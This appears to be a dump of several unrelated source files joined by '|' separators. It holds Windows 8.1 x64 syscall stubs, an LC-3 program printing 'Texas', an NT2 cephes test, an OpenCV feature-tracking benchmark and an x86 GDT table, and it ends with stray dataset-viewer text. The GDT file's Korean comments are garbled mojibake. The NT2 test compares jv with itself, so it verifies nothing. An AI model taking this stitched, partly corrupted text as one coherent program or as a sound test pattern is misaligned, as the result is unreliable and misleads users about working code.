; ULONG64 __stdcall NtSuspendProcess( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSuspendProcess PROC STDCALL
mov r10 , rcx
mov eax , 407
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSuspendProcess ENDP
; ULONG64 __stdcall NtSuspendThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSuspendThread PROC STDCALL
mov r10 , rcx
mov eax , 408
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSuspendThread ENDP
; ULONG64 __stdcall NtSystemDebugControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtSystemDebugControl PROC STDCALL
mov r10 , rcx
mov eax , 409
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSystemDebugControl ENDP
; ULONG64 __stdcall NtTerminateJobObject( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtTerminateJobObject PROC STDCALL
mov r10 , rcx
mov eax , 410
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTerminateJobObject ENDP
; ULONG64 __stdcall NtTestAlert( );
_6_3_9600_sp0_windows_8_1_NtTestAlert PROC STDCALL
mov r10 , rcx
mov eax , 411
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTestAlert ENDP
; ULONG64 __stdcall NtThawRegistry( );
_6_3_9600_sp0_windows_8_1_NtThawRegistry PROC STDCALL
mov r10 , rcx
mov eax , 412
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtThawRegistry ENDP
; ULONG64 __stdcall NtThawTransactions( );
_6_3_9600_sp0_windows_8_1_NtThawTransactions PROC STDCALL
mov r10 , rcx
mov eax , 413
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtThawTransactions ENDP
; ULONG64 __stdcall NtTraceControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtTraceControl PROC STDCALL
mov r10 , rcx
mov eax , 414
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTraceControl ENDP
; ULONG64 __stdcall NtTranslateFilePath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtTranslateFilePath PROC STDCALL
mov r10 , rcx
mov eax , 415
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTranslateFilePath ENDP
; ULONG64 __stdcall NtUmsThreadYield( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtUmsThreadYield PROC STDCALL
mov r10 , rcx
mov eax , 416
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUmsThreadYield ENDP
; ULONG64 __stdcall NtUnloadDriver( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtUnloadDriver PROC STDCALL
mov r10 , rcx
mov eax , 417
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnloadDriver ENDP
; ULONG64 __stdcall NtUnloadKey( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtUnloadKey PROC STDCALL
mov r10 , rcx
mov eax , 418
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnloadKey ENDP
; ULONG64 __stdcall NtUnloadKey2( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtUnloadKey2 PROC STDCALL
mov r10 , rcx
mov eax , 419
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnloadKey2 ENDP
; ULONG64 __stdcall NtUnloadKeyEx( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtUnloadKeyEx PROC STDCALL
mov r10 , rcx
mov eax , 420
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnloadKeyEx ENDP
; ULONG64 __stdcall NtUnlockFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtUnlockFile PROC STDCALL
mov r10 , rcx
mov eax , 421
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnlockFile ENDP
; ULONG64 __stdcall NtUnlockVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtUnlockVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 422
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnlockVirtualMemory ENDP
; ULONG64 __stdcall NtUnmapViewOfSectionEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtUnmapViewOfSectionEx PROC STDCALL
mov r10 , rcx
mov eax , 423
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnmapViewOfSectionEx ENDP
; ULONG64 __stdcall NtUnsubscribeWnfStateChange( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtUnsubscribeWnfStateChange PROC STDCALL
mov r10 , rcx
mov eax , 424
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnsubscribeWnfStateChange ENDP
; ULONG64 __stdcall NtUpdateWnfStateData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtUpdateWnfStateData PROC STDCALL
mov r10 , rcx
mov eax , 425
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUpdateWnfStateData ENDP
; ULONG64 __stdcall NtVdmControl( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtVdmControl PROC STDCALL
mov r10 , rcx
mov eax , 426
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtVdmControl ENDP
; ULONG64 __stdcall NtWaitForAlertByThreadId( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtWaitForAlertByThreadId PROC STDCALL
mov r10 , rcx
mov eax , 427
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForAlertByThreadId ENDP
; ULONG64 __stdcall NtWaitForDebugEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtWaitForDebugEvent PROC STDCALL
mov r10 , rcx
mov eax , 428
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForDebugEvent ENDP
; ULONG64 __stdcall NtWaitForKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtWaitForKeyedEvent PROC STDCALL
mov r10 , rcx
mov eax , 429
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForKeyedEvent ENDP
; ULONG64 __stdcall NtWaitForWorkViaWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtWaitForWorkViaWorkerFactory PROC STDCALL
mov r10 , rcx
mov eax , 430
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForWorkViaWorkerFactory ENDP
; ULONG64 __stdcall NtWaitHighEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtWaitHighEventPair PROC STDCALL
mov r10 , rcx
mov eax , 431
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitHighEventPair ENDP
; ULONG64 __stdcall NtWaitLowEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtWaitLowEventPair PROC STDCALL
mov r10 , rcx
mov eax , 432
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitLowEventPair ENDP
|
.ORIG x3000
LD R6,INITIAL ; initialize the stack pointer
LD R0,KBISR ; set up the keyboard interrupt vector table entry
STI R0,KBIV
LD R0,IE ; enable keyboard interrupts
STI R0,KBSR
FRSTLN LEA R0,FIRST
PUTS
LD R0,NEWLN
OUT
JSR DELAY
JSR DELAY
JSR DELAY
JSR DELAY
SCND LEA R0,SECOND
PUTS
LD R0,NEWLN
OUT
JSR DELAY
JSR DELAY
JSR DELAY
JSR DELAY
BR FRSTLN
DELAY ST R1,Save_R1
ST R7,SAVE_R7
LD R1,COUNT
REP ADD R1,R1,#-1
BRp REP
LD R1,Save_R1
LD R7,SAVE_R7
RET
END HALT
INITIAL .FILL x3000
FIRST .STRINGZ "Texas Texas Texas Texas"
SECOND .STRINGZ " Texas Texas Texas"
SPACE .FILL x20
NEWLN .FILL x000A
COUNT .FILL #9999
Save_R1 .BLKW 1
SAVE_R7 .BLKW 1
KBIV .FILL x180
KBISR .FILL x1500
KBSR .FILL xFE00
IE .FILL x4000
.END |
//==============================================================================
// Copyright 2003 - 2012 LASMEA UMR 6602 CNRS/Univ. Clermont II
// Copyright 2009 - 2012 LRI UMR 8623 CNRS/Univ Paris Sud XI
//
// Distributed under the Boost Software License, Version 1.0.
// See accompanying file LICENSE.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt
//==============================================================================
#define NT2_UNIT_MODULE "nt2 cephes toolbox - jv/scalar Mode"
//////////////////////////////////////////////////////////////////////////////
// cover test behavior of cephes components in scalar mode
//////////////////////////////////////////////////////////////////////////////
/// created by jt the 01/03/2011
///
#include <nt2/toolbox/cephes/include/functions/jv.hpp>
#include <nt2/include/functions/max.hpp>
#include <boost/type_traits/is_same.hpp>
#include <nt2/sdk/functor/meta/call.hpp>
#include <nt2/sdk/meta/as_integer.hpp>
#include <nt2/sdk/meta/as_floating.hpp>
#include <nt2/sdk/meta/as_signed.hpp>
#include <nt2/sdk/meta/upgrade.hpp>
#include <nt2/sdk/meta/downgrade.hpp>
#include <nt2/sdk/meta/scalar_of.hpp>
#include <boost/dispatch/meta/as_floating.hpp>
#include <boost/type_traits/common_type.hpp>
#include <nt2/sdk/unit/tests.hpp>
#include <nt2/sdk/unit/module.hpp>
#include <nt2/sdk/memory/buffer.hpp>
#include <nt2/toolbox/constant/constant.hpp>
NT2_TEST_CASE_TPL ( jv_real__2_0, NT2_REAL_TYPES)
{
using nt2::cephes::jv;
using nt2::cephes::tag::jv_;
typedef typename nt2::meta::as_integer<T>::type iT;
typedef typename nt2::meta::call<jv_(T,T)>::type r_t;
typedef typename nt2::meta::scalar_of<r_t>::type ssr_t;
typedef typename nt2::meta::upgrade<T>::type u_t;
typedef T wished_r_t;
// return type conformity test
NT2_TEST( (boost::is_same < r_t, wished_r_t >::value) );
std::cout << std::endl;
double ulpd;
ulpd=0.0;
// random verifications
static const nt2::uint32_t NR = NT2_NB_RANDOM_TEST;
{
NT2_CREATE_BUF(tab_a0,T, NR, T(-100), T(100));
NT2_CREATE_BUF(tab_a1,T, NR, T(-100), T(100));
double ulp0, ulpd ; ulpd=ulp0=0.0;
T a0;
T a1;
for(nt2::uint32_t j =0; j < NR; ++j )
{
std::cout << "for params "
<< " a0 = "<< u_t(a0 = tab_a0[j])
<< ", a1 = "<< u_t(a1 = tab_a1[j])
<< std::endl;
NT2_TEST_ULP_EQUAL( nt2::cephes::jv(a0,a1),nt2::cephes::jv(a0,a1),0.5);
ulp0=nt2::max(ulpd,ulp0);
}
std::cout << "max ulp found is: " << ulp0 << std::endl;
}
} // end of test for floating_
|
/*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#include "perf_precomp.hpp"
using namespace std;
using namespace testing;
using namespace perf;
//////////////////////////////////////////////////////
// GoodFeaturesToTrack
DEF_PARAM_TEST(Image_MinDistance, string, double);
PERF_TEST_P(Image_MinDistance, GoodFeaturesToTrack,
Combine(Values<string>("gpu/perf/aloe.png"),
Values(0.0, 3.0)))
{
const string fileName = GET_PARAM(0);
const double minDistance = GET_PARAM(1);
const cv::Mat image = readImage(fileName, cv::IMREAD_GRAYSCALE);
ASSERT_FALSE(image.empty());
const int maxCorners = 8000;
const double qualityLevel = 0.01;
if (PERF_RUN_CUDA())
{
cv::Ptr<cv::cuda::CornersDetector> d_detector = cv::cuda::createGoodFeaturesToTrackDetector(image.type(), maxCorners, qualityLevel, minDistance);
const cv::cuda::GpuMat d_image(image);
cv::cuda::GpuMat pts;
TEST_CYCLE() d_detector->detect(d_image, pts);
CUDA_SANITY_CHECK(pts);
}
else
{
cv::Mat pts;
TEST_CYCLE() cv::goodFeaturesToTrack(image, pts, maxCorners, qualityLevel, minDistance);
CPU_SANITY_CHECK(pts);
}
}
|
;--------------------------------------------------------
; Global Descriptor Table
;--------------------------------------------------------
gdtr_addr: dd 0x00400000
gdtr:
dw gdtEnd - gdt - 1 ; GDT Table ์ ์ฒด Size
dd gdt ; GDT Table ์ ์ค์ ์์ ์ฃผ์
gdt:
NullDescriptor equ 0x00
dd 0, 0
CodeDescriptor equ 0x08
dw 0xFFFF
dw 0x0000
db 0x00
db 10011010b
db 11001111b
db 0x00
DataDescriptor equ 0x10
dw 0xFFFF
dw 0x0000
db 0x00
db 10010010b ; P DPL S TYPE
db 11001111b ; G D/B L AVL SEGMENT_SIZE
db 0x00
VideoDescriptor equ 0x18
; ๋น๋์ค ์ธ๊ทธ๋จผํธ
dw 0xFFFF
dw 0x8000
db 0x0B
db 10010010b ; P DPL S TYPE
db 01001111b ; G D/B L AVL SEGMENT_SIZE
db 0x00
VGADescriptor equ 0x20
; ๊ทธ๋ํฝ(VGA) ์ธ๊ทธ๋จผํธ
dw 0xFFFF
dw 0x0000
db 0x00
db 10010011b ; P DPL S TYPE
db 11001111b ; G D/B L AVL SEGMENT_SIZE
db 0x00
TSSDescriptor equ 0x28
; TSS ์ธ๊ทธ๋จผํธ ๋ฒํธ ์ ์ธ
; ๊ตฌ์กฐ ๋ฑ๋ก์ ์ถํ _kernel_init_gdt_table(); ํจ์๋ฅผ ์ด์ฉํ์ฌ
; ๋ค์ ์ฌ ๋ฑ๋กํ๋ค.
gdtEnd:
;-------------------------------------------------------------------
; {{Descriptor Description}}
;
; dw 0xFFFF
; [SEGMENT SIZE]
; 1111 1111 1111 1111
; ์ด ๋ถ๋ถ์ ๊ฐ๊ณผ ์๋ SEGMENT SIZE ์ 4bit ๊ฐ์ ํฉํ์ฌ
; ์ด 20bit๋ก ์ธ๊ทธ๋จผํธ์ ํฌ๊ธฐ๋ฅผ ๋ํ๋ธ๋ค
; [G] : 0 -> 0 byte ~ 1 Mbyte
; [G] : 1 -> 0 byte ~ 4 Gbyte ( * 4 Kbyte)
; dw 0x0000
; ๊ธฐ์ค์ฃผ์ ํ์ 16 bit
; db 0x00
; ๊ธฐ์ค์ฃผ์ ์์ 8 bit
; db 10011010b
; [P] [DPL] [S] [TYPE]
; 1 00 1 1 010
; ์ ํจ / ์ํผ๊ถํ / ์ธ๊ทธ๋จผํธ / ์ฝ๋:์คํ,์ฝ๊ธฐ
; db 11001111b
; [G] [D/B] [L] [AVL] [SEGMENT SIZE]
; 1 1 0 0 1111
; [G] : ์ฃผ์ ๋ฒ์๋ฅผ 0 ~ 4 Gbyte๊น์ง ํ์ฅ
; [D/B] : 32 bit Segment
; [AVL] : 64 bit Mode ์์ 32 bit ํธํ Segment ์์ ์๋ฏธ
; [SEGMENT SIZE] : ์ธ๊ทธ๋จผํธ ํฌ๊ธฐ์ ์์ 4 bit
; db 0x00
; ๊ธฐ์ค ์ฃผ์ ์ต์์ 8 bit
;-------------------------------------------------------------------
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.